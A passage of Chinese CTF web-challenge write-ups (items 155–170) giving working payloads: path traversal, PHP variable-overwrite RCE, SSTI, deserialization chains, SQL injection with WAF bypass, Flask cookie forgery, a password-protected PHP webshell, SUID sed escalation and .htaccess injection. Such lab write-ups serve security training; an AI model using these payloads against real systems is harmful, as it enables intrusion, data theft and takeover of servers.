/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt
读取到源码
1 2 3 4 5 6 7 8 9 <h1>Welcome To GFCTF 12 th!!</h1> <?php error_reporting (0 );define ("main" ,"main" );include "Class.php" ;$temp = new Temp ($_POST );$temp ->display ($_GET ['filename' ]);?>
读取Class.php看下
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 <?php defined ('main' ) or die ("no!!" );Class Temp{ private $date =['version' =>'1.0' ,'img' =>'https://www.apache.org/img/asf-estd-1999-logo.jpg' ]; private $template ; public function __construct ($data ) { $this ->date = array_merge ($this ->date,$data ); } public function getTempName ($template ,$dir ) { if ($dir === 'admin' ){ $this ->template = str_replace ('..' ,'' ,'./template/admin/' .$template ); if (!is_file ($this ->template)){ die ("no!!" ); } } else { $this ->template = './template/index.html' ; } } public function display ($template ,$space ='' ) { extract ($this ->date); $this ->getTempName ($template ,$space ); include ($this ->template); } public function listdata ($_params ) { $system = [ 'db' => '' , 'app' => '' , 'num' => '' , 'sum' => '' , 'form' => '' , 'page' => '' , 'site' => '' , 'flag' => '' , 'not_flag' => '' , 'show_flag' => '' , 'more' => '' , 'catid' => '' , 'field' => '' , 'order' => '' , 'space' => '' , 'table' => '' , 'table_site' => '' , 'total' => '' , 'join' => '' , 'on' => '' , 'action' => '' , 'return' => '' , 'sbpage' => '' , 'module' => '' , 'urlrule' => '' , 'pagesize' => '' , 'pagefile' => '' , ]; $param = $where = []; $_params = trim ($_params ); $params = explode (' ' , $_params ); if (in_array ($params [0 ], ['list' ,'function' ])) { $params [0 ] = 'action=' .$params [0 ]; } foreach ($params as $t ) { $var = substr ($t , 0 , strpos ($t , '=' )); $val = substr ($t , strpos ($t , '=' ) + 1 ); if (!$var ) { continue ; } if (isset ($system [$var ])) { $system [$var ] = $val ; } else { $param [$var ] = $val ; } } switch ($system ['action' ]) { case 'function' : if (!isset ($param ['name' ])) { return 'hacker!!' ; } elseif (!function_exists ($param ['name' ])) { return 'hacker!!' ; } $force = $param ['force' ]; if (!$force ) { $p = []; foreach ($param as $var => $t ) { if (strpos ($var , 'param' ) === 0 ) { $n = intval (substr ($var , 5 )); $p [$n ] = $t ; } } if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ; }else { return null ; } case 'list' : return json_encode ($this ->date); } return null ; } }
是块代码审计硬骨头。index.php
实例化了Temp对象,向构造方法传入POST的变量,调用display方法传get参数filename
Class.php
用的array_merge()
存在变量覆盖特性
1 2 3 4 1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名 2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖 3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。 4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $array1 = array ("color" => "red" , 2 , 4 );$array2 = array ("a" , "b" , "color" => "green" , "shape" => "trapezoid" , 4 );$result = array_merge ($array1 , $array2 );print_r ($result );?>
display()
实现如下:
1 2 3 4 5 6 public function display ($template ,$space ='' ) { extract ($this ->date); $this ->getTempName ($template ,$space ); include ($this ->template); }
跟进getTempName()
1 2 3 4 5 6 7 8 9 10 11 12 public function getTempName ($template ,$dir ) { if ($dir === 'admin' ){ $this ->template = str_replace ('..' ,'' ,'./template/admin/' .$template ); if (!is_file ($this ->template)){ die ("no!!" ); } } else { $this ->template = './template/index.html' ; } }
前期准备扫目录时发现了/template/admin路径,调用的listdata方法,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public function listdata ($_params ) { $system = ['db' => '' , 'app' => '' , 'num' => '' , 'sum' => '' , 'form' => '' , 'page' => '' , 'site' => '' , 'flag' => '' , 'not_flag' => '' , 'show_flag' => '' , 'more' => '' , 'catid' => '' , 'field' => '' , 'order' => '' , 'space' => '' , 'table' => '' , 'table_site' => '' , 'total' => '' , 'join' => '' , 'on' => '' , 'action' => '' , 'return' => '' , 'sbpage' => '' , 'module' => '' , 'urlrule' => '' , 'pagesize' => '' , 'pagefile' => '' ,]; $param = $where = []; $_params = trim ($_params ); $params = explode (' ' , $_params ); if (in_array ($params [0 ], ['list' ,'function' ])) { $params [0 ] = 'action=' .$params [0 ]; } foreach ($params as $t ) { $var = substr ($t , 0 , strpos ($t , '=' )); $val = substr ($t , strpos ($t , '=' ) + 1 ); if (!$var ) { continue ; } if (isset ($system [$var ])) { $system [$var ] = $val ; } else { $param [$var ] = $val ; } } switch ($system ['action' ]) { case 'function' : if (!isset ($param ['name' ])) { return 'hacker!!' ; } elseif (!function_exists ($param ['name' ])) { return 'hacker!!' ; } $force = $param ['force' ]; if (!$force ) { $p = []; foreach ($param as $var => $t ) { if (strpos ($var , 'param' ) === 0 ) { $n = intval (substr ($var , 5 )); $p [$n ] = $t ; } } if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ; }else { return null ; } case 'list' : return json_encode ($this ->date); } return null ; }
上面的东西有点太繁杂,需要整理一下,接下来这段内容需要和代码同步着看,否则一定会头昏脑涨。
首先在index里传get参数filename就会执行display,经过extract执行getTempName最后include该template
在/template/admin/路由下存在一个listdata方法,里面有call_user_func_array()
和call_user_func()
,利用后者的话,就要调用listdata,所以在template/admin/index.html路由下,为了顺利走完getTempName从而为利用后面的漏洞函数做准备,第一步要先让$dir==='admin'
为true,我们可以控制space=admin。为什么呢?因为构造方法__construct
接收的就是我们POST进去的参数,在这里传入,然后通过里面的array_merge
完成我们的赋值,这样dir就会等于admin,就可以继续往下走了。至于为什么dir可以是space,这很简单,在display函数实现的地方形参的名字是space,在getTempName函数实现的地方,第二个形参是dir:
1 2 public function display ($template ,$space ='' )public function getTempName ($template ,$dir )
我们可以稍加留意下listdata里面的system数组中的一大堆键名。
接着讲怎么走到漏洞函数,除了dir==admin,另一个条件是template=index.html,是html文件,因为我们进入了第一个if之后紧接着就来到了
if(!is_file($this->template))
那么我们的template是文件,就可以不进入里面的die了,也就是顺利执行了getTempName。怎么控制template=index.html呢?别忘了在index.php里面有这样一句
$temp->display($_GET['filename']);
那我们就可以get传filename=index.html了。至此,初步的赋值完成,来细细的啃listdata:
最终要走进这里实现rce
1 2 3 4 5 6 7 if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ;
如果带$p
玩,那么就相当于要执行system('ls')
这样的,如果不带,就执行无参的函数phpinfo()
,理解了第一种,第二种就相当于把跟$p
相关的处理无视掉就可以了。
我们要的是,$param['name']=system
,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个
if(!isset($param['name']))
这和我们的目的殊途同归,所以无视之,走进
elseif(!function_exists($param['name']))
那么phpinfo是内置的函数,肯定是定义了的,也可以顺利通过。接下来,到了
1 2 3 4 $force =$param ['force' ];if (!force){ ... }
那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个if(strpos($var,'param')===0)
此处保证的是$var='param0xxxxx'
,通过下面的intval(substr($var,5))
,也就是intval('0xxxxx')
导致$n=0
,下一句就是$p[$n]=$t;
,所以$p[0]=$t;
其中的$t
,就是我们可以控制的$var=cmd
那么param的前身是个空数组,通过的是foreach($params as $t)
进入一个if循环里赋值得来的。所以再去找$params
,那么listdata传入的形参叫做$_params
,通过trim()
进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的$_params
想要分割就用空格,接着走到一个if语句
1 2 3 if (in_array ($params [0 ],['list' ,'function' ])){ $params [0 ]='action=' .$params [0 ]; }
我们从先前的action就可以知道,$params[0]
其实要么是list要么是function,所以这里$params[0]
最终一定会在前面加上一个action=
目前来看,我们要的是$_params=function name=system force=false param0xxxx=ls
。
继续走,我们到template/admin/index.html
里,发现页面是这样回显的:
listdata("action=list module = $mod");?>
这就有意思了,服务器这该死的设计让我们的第一个action强行等于list!,只留下一个module = $mod是我们可控的,那我们最终的payload会变成这样:
$mod=xxxx action=function name=system force=false param0xxxx=cmd
这其实没有关系,要的是一个变量覆盖,该调用调用,所以最终payload就是
1 2 3 4 ?filename=index.html POST: space=admin&mod=xxx action=function name=phpinfo
或者
1 2 3 4 ?filename=index.html POST: space=admin&mod=xxx action=function name=system param=cat${IFS}/f*>/var/www/html/a
156.[NCTF 2018]Flask PLUS python3 -m fenjing crack-path -u 'url'
就会反弹shell了
payload:
{%set xv='so'[::-1]%}{{lipsum.__globals__['__b''uiltins__']['__i''mport__'](xv)['po''pen']("\x63\x61\x74\x20\x2f\x54\x68\x31\x73\x5f\x69\x73\x5f\x5f\x46\x31\x31\x31\x34\x67").read()}}
157.[FSCTF 2023]ez_php1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );include "globals.php" ;$a = $_GET ['b' ];$b = $_GET ['a' ];if ($a !=$b &&md5 ($a )==md5 ($b )){ echo "!!!" ; $c = $_POST ['FL_AG' ]; if (isset ($c )) { if (preg_match ('/^.*(flag).*$/' , $ja )) { echo 'You are bad guy!!!' ; } else { echo "Congratulation!!" ; echo $hint1 ; } } else { echo "Please input my love FL_AG" ; } } else { die ("game over!" ); } ?>
数组绕过,变量覆盖
payload1:
1 2 3 4 5 ?a[]=1&b[]=2 POST: FL_AG=$ja=1 #L0vey0U.php
进入第二层
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );include "globals.php" ;$FAKE_KEY = "Do you love CTF?" ;$KEY = "YES I love" ;$str = $_GET ['str' ];echo $flag ;if (unserialize ($str ) === "$KEY " ){ echo "$hint2 " ; } ?>
exp:
1 2 3 4 <?php $str = "YES I love" ;echo serialize ($str );
payload2:
1 2 ?str=s:10:"YES I love"; #P0int.php
进入第三层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );class Clazz { public $a ; public $b ; public function __wakeup ( ) { $this ->a = file_get_contents ("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php" ); } public function __destruct ( ) { echo $this ->b; } } @unserialize ($_POST ['data' ]); ?>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Clazz { public $a ; public $b ; public function __wakeup ( ) { $this ->a = file_get_contents ("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php" ); } public function __destruct ( ) { echo $this ->b; } } $a = new Clazz ();$a ->b=&$a ->a;echo serialize ($a );
payload:
1 2 POST: data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
158.[HUBUCTF 2022 新生赛]Calculate exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport timeurl = 'http://node5.anna.nssctf.cn:28525/' sess = requests.session() for i in range (0 ,20 ): res=sess.get(url).text.split('\n' )[7 ].split('</div' ) time.sleep(1 ) exp='' for i in res: if i[-1 ]=='=' : break exp+=i[-1 ] ans = eval (exp) data={'ans' :'%s' %ans} req = sess.post(url,data) print (req.text)
159.[NSSCTF 2022 Spring Recruit]babysql fuzz的时候发现了waf
hacker!!black_list is /if|and|\s|#|--/i
空格被ban了,用的是/**/
试一下联合注入
1 2 3 4 5 6 7 8 9 10 11 12 payload1: 'union/**/select/**/(select/**/database())' #string(4 ) "test" payload2: 'union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=' test')' #string(10 ) "flag,users" payload3: 'union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=' flag')' #string(4 ) "flag" payload4: 'union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)' #string(63 ) "前有巨大宝箱,NSSCTF{ac8126df-401a-49e0-a8b1-c167f1f8bbd6}"
160.[NSSRound#13 Basic]flask?jwt? 随便注册个账号,登陆点拿flag,不是admin,在修改密码处F12看到secretkey,flasksession伪造即可
1 2 3 4 5 6 7 python3 flask_session_cookie_manager3.py decode -c '.eJwljjkOAzEIAP_iOgVgwGY_s_IBSlpvtory91hKO8XMfNIZy69nOt7r9kc6XzMdqVYDChjmGBNdtEuOQkqZMASpTkTqOrRBKaFOYTqqQBWZTWxwJXOeLNWscQEcwjHZtwF7dMikqK3lPhA3Ei67FhwjHIpmTHvkvnz9bzR9fzvmLb8.ZZZS8g.QkgPNvEbeSRvbLg6rbwUl8NGvd0' python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}" .eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.ZZZVRQ.H3mGCzqQ0I4GrNLRwYh9kIobHmQ
161.[湖湘杯 2021 final]Penetratable unicode欺骗用过不好使,因为登陆时会被解析为已有的admin,需要用
admin"#
注册,登陆后显示的就是admin,修改admin的密码然后登陆,抓包修改root的密码
1 2 3 4 ?c=admin&m=updatePassword //这里的name和saying是b64,两个pass是md5,把root做b64编码然后放包就能改root的密码,然后以root登陆 name=YWRtaW4%3D&newPass=c4ca4238a0b923820dcc509a6f75849b&oldPass=c4ca4238a0b923820dcc509a6f75849b&saying=MQ%3D%3D
可以看到日志模块,下载的时候抓包存在目录穿越
1 ?c=root&m=downloadRequestLog&filename=../../../../../var/www/html/phpinfo.php
1 2 3 4 <?php if (md5 (@$_GET ['pass_31d5df001717' ])==='3fde6bb0541387e4ebdadf7c2ff31123' ){@eval ($_GET ['cc' ]);} ?>
木马连接密码解md5为1q2w3e
,传木马并执行命令,flag在根目录无法直接读取,需要suid提权
find / -user root -perm -4000 -print 2>/dev/null
回显了sed等,使用sed提权
pass_31d5df001717=1q2w3e&cc=system("sed -n '1p' /flag");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 常见的sed命令选项包含以下几种: -e或-expression=:表示用指定命令或者脚本来处理输入的文本文件 -f或-file-:表示用指定的脚本文件来处理输入的文件文件 -h或–help:显示帮助 -n、-quite或silent:表示仅表示处理后的结果 -i:直接编辑文本文件 a:增加,在当前行下面增加一行指定内容。 c:替换,讲选定行替换为指定内容。 d:删除,删除选定的行。 i:插入,在选定行上面插入一行指定内容。 p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。 s:替换,替换指定字符 y:字符转换
162.[MoeCTF 2022]Sqlmap_boy 登陆界面F12发现sql语句
admin" or "1--+
然后id就是注入点
1 2 3 4 5 6 7 8 9 payload1 0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+ payload2 0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'--+ payload3 0'union/**/select/**/1,3,group_concat(flAg)/**/from/**/moectf.flag--+
163.[FSCTF 2023]巴巴托斯! 改http头,本地访问改的不是xff是referer
然后伪协议读flag.php
164.[GWCTF 2019]枯燥的抽奖 BUU做过,F12发现check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){ echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
1 2 3 4 5 6 7 8 9 10 11 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='hkDZsGIKav' str3 = str1[::-1 ] length = len (str2) res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print (res)
php_mt_seed
爆破种子
把种子的值赋值给$_SESSION['seed']
输出原始的字符串提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){ $_SESSION ['seed' ]=631128164 ; } mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } echo $str ;
165.[HNCTF 2022 WEEK2]easy_unser 很直接的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php include 'f14g.php' ; error_reporting (0 ); highlight_file (__FILE__ ); class body { private $want ,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind" ; public function __construct ($want ) { $About_me = "When the object is created,I will be called" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { $About_me = "When the object is unserialized,I will be called" ; $but = "I can CHANGE you" ; $this -> want = $but ; echo "C1ybaby!" ; } function __destruct ( ) { $About_me = "I'm the final function,when the object is destroyed,I will be called" ; echo "So,let me see if you can get what you want\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } class unserializeorder { public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>" ; function __sleep ( ) { $About_me = "When the object is serialized,I will be called" ; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>" ; } function __toString ( ) { $About_me = "When the object is used as a string,I will be called" ; return $this ->CORE; } } $obj = new unserializeorder (); echo $obj ; $obj = serialize ($obj ); if (isset ($_GET ['ywant' ])) { $ywant = @unserialize (@$_GET ['ywant' ]); echo $ywant ; } ?>
分析下链子,最终是要在highlight_file($this->want)
下readflag,那么就要控制$this->want
不能为f14g.php
,也不能是个文件,然后,绕过__wakeup()
,再往上走,就是需要给$this->want
赋值,构造方法里传入的就是$want
,在我们实例化对象时传,那么在最后一步的if判断里会触发__toString
,就让$this->want
为unserializeorder的对象,触发它的__toString
,里面会return $this->CORE
,这个也是可控的,可以考虑控制它为读取flag的语句,尝试下写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class body { private $want ,$todonothing = "" ; public function __construct ($want ) { $About_me = "" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { } function __destruct ( ) { $About_me = "" ; echo "1\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } class unserializeorder { public $CORE = "php://filter/read=convert.base64-encode/resource=f14g.php" ; function __sleep ( ) { $About_me = "" ; echo "" ; } function __toString ( ) { $About_me = "" ; return $this ->CORE; } } $a = new body (new unserializeorder ());echo urlencode (serialize ($a ));
结果发现本地全部都能过但是靶机上就是不回显文件内容,后面再看并不需要用到unserializeorder类,直接控制want就可以了,我的理解是高亮显示文件的参数是$this->want
,如果控制它为一个对象,就没用了,所以才不回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class body { private $want = "" ; private $todonothing = "" ; public function __construct ($want ) { $About_me = "" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { } function __destruct ( ) { $About_me = "" ; echo "1\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } $a = new body ("php://filter/read=convert.base64-encode/resource=f14g.php" );echo urlencode (serialize ($a ));
记得改body的成员数绕过wakeup
166.[SWPUCTF 2023 秋季新生赛]If_else 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 某一天,NSSCTF给了你一次机会,让你来自定义if 中的条件,提交后访问check.php查看结果 提交方式$_POST ["check" ] 记得访问一下check.php哦~ check.php的内容 <?php $a =false ; $b =false ; if (你提交的部分将会被写至这里) {$a =true ;} else {$b =true ;} if ($a ===true &&$b ===true ) eval (system (cat /flag)); ?>
直接传check=system('cat /flag')
就行了,不用管ifelse
167.[网鼎杯 2018]Fakebook robots.txt存在网页备份
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
注册个账号,点账号名进view.php,参数no存在sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload1: -1 order by 5 判断有4个字段 payload2: -1 union/**/select 1,2,3,4 2存在回显 payload3: -1 union/**/select 1,database(),3,4 fakebook payload4: -1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' users payload5: -1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' no,username,passwd,data payload6: -1 union/**/select 1,group_concat(data),3,4 from fakebook.users 序列化的字符串,意味着用户数据是以序列化形式存储的
那么可以传入一个序列化对象去做些事情,审计一下备份的网页,这个类下的get存在ssrf,控制blog为file:///var/www/html/flag.php
即可,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ( ) { $this ->blog = "file:///var/www/html/flag.php" ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } } $a = new UserInfo ();echo serialize ($a );
最终payload:
1 ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
168.[羊城杯 2020]Blackcat BUU做过,mp3尾巴有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (empty ($_POST ['Black-Cat-Sheriff' ]) || empty ($_POST ['One-ear' ])){ die ('谁!竟敢踩我一只耳的尾巴!' ); } $clandestine = getenv ("clandestine" );if (isset ($_POST ['White-cat-monitor' ])) $clandestine = hash_hmac ('sha256' , $_POST ['White-cat-monitor' ], $clandestine ); $hh = hash_hmac ('sha256' , $_POST ['One-ear' ], $clandestine );if ($hh !== $_POST ['Black-Cat-Sheriff' ]){ die ('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。' ); } echo exec ("nc" .$_POST ['One-ear' ]);
绕过hash_hmac,White-cat-monitor传入数组,会返回false,然后$clandestine
的值就是false了,我们在本地echo(hash_hmac('sha256',';cat flag.php',false))
就可以模拟出hh的值,然后用POST传Black-Cat-Sheriff
为我们模拟的值,One-ear传入命令,读取的是flag.php
payload:
Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
169.[羊城杯 2020]easyphp BUU做过,关于.htaccess的深入文章:https://blog.csdn.net/LYJ20010728/article/details/116538926
用的是用法五第一点的方法,.htaccess文件的内容如下
1 2 3 php_value auto_prepend_fil\ e .htaccess #<?php system('cat /f*');?>\
第一个\绕过对file的过滤,.htaccess中,\作为连接符连接上下两行。这样,我们所有文件运行前就都会包含.htaccess文件,flag被过滤,使用通配符?来绕过,代码在content后面加了\nHello,world,会让.htaccess文件多出一句Hello,world,会让靶机500。所以在最后面加上\将下一行的hello,world拽上来。payload:
1 ?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C
打了之后访问/index.php就能getflag。还有一个解法是用php伪协议,用64加密后传入content,写进.htaccess,先传一个将正则给绕过的.htaccess,也就是第五种用法的第2条,这样waf就会失效。
1 2 php_value pcre.backtrack_limit 0 php_value pcre.jit 0
php版本>=7就要设置第二行。传完之后就可以使用filter协议了,payload:
1 ?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
1 ?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
170.[HUBUCTF 2022 新生赛]ezsql 注册个账号登陆,sqlmap直接跑,能跑出库表字段但是获取不到内容,是要在update.php中手动注入,回显处在description,控制age为payload,通过控制password字段为弱口令,修改所有用户密码,登陆admin可以在description项里发现原密码的md5,解得iamcool,重启靶机直接登陆获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 payload1: nickname= 1 & age= 22 ,description= (select database())% 23 & description= 1 & token= 2 ae7179fd15fbb5aec663c29df11eef6 #demo2 payload2: nickname= 1 & age= 22 ,description= (select group_concat(table_name) from information_schema.tables where table_schema= demo2)% 23 & description= 1 & token= 2 ae7179fd15fbb5aec663c29df11eef6 #users payload3: nickname= 1 & age= 22 ,description= (select group_concat(column_name) from information_schema.columns where table_name= '0x7573657273' )% 23 & description= 1 & token= 2 ae7179fd15fbb5aec663c29df11eef6 #hex('users' )= 0x7573657273 ,不然会报错 #id,username,password,nickname,age,description payload4: nickname= 1 & age= 22 ,description= (select group_concat(password) )% 23 & description= 1 & token= 2 ae7179fd15fbb5aec663c29df11eef6 #回显的是md5加密后的注册密码,后面要修改密码 payload5: nickname= 1 & age= 22 ,password= 0x3230326362393632616335393037356239363462303731353264323334623730 % 23 & description= 1 & token= 2 ae7179fd15fbb5aec663c29df11eef6 #把所有用户的密码改成123
